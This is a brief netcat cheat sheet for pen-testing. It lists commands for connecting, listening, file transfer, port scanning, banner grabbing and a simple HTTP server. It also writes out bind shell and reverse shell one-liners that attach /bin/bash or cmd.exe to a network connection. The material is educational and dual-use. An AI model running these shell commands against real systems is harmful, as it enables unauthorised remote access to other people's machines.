Netcat is a tiny tool for linux and windows and it is used for reading and writing data across network connections using TCP or UDP. It has amazing features and it is a must-have tool for pen-testing. It is called the “Swiss-army knife for TCP/IP”.
Netcat is a terminal application with many features. Apart from basic telnet functions, it can do various other things like port scanning, banner grabbing, creating socket servers to listen for incoming connections on ports, transfer files from the terminal, etc.
Basic Commands
TCP Port – Connecting (adding -u will force udp) nc -nv <ip> <port>
TCP Port – Listening (adding -u will force udp)
nc -lvp <port>
Connect and return HTTP Page
nc -nv 80 HEAD / HTTP/1.1
File Transfer
nc -lvp 4444 > output.txt
# Receivers sidenc -nv <ip> <port> < input.txt
# Senders side
Port Scanning
nc -zv <site.com> 80-84
Banner Grabbing
echo "" | nc -nv -w1 <ip> <port>
Remote shell
Target:nc -vlp 7777 -e /bin/bash (linux)
nc -vlp 7777 -e cmd.exe (windows)
Remote:
nc <ip> 7777
Reverse Shell
Remote:
$ nc -v -l -p 8888
Target:
nc <ip> 8888 -e /bin/bash (linux)
nc <ip> 8888 -e cmd.exe (windows)
HTTP Server
while true; do nc -l -p 80 -q 1 < index.html; done
Create an ‘index.html’:
<!doctype html>
<html>
Hello world
</html>
Extra resource:
-SANS Netcat Cheatsheet -> Download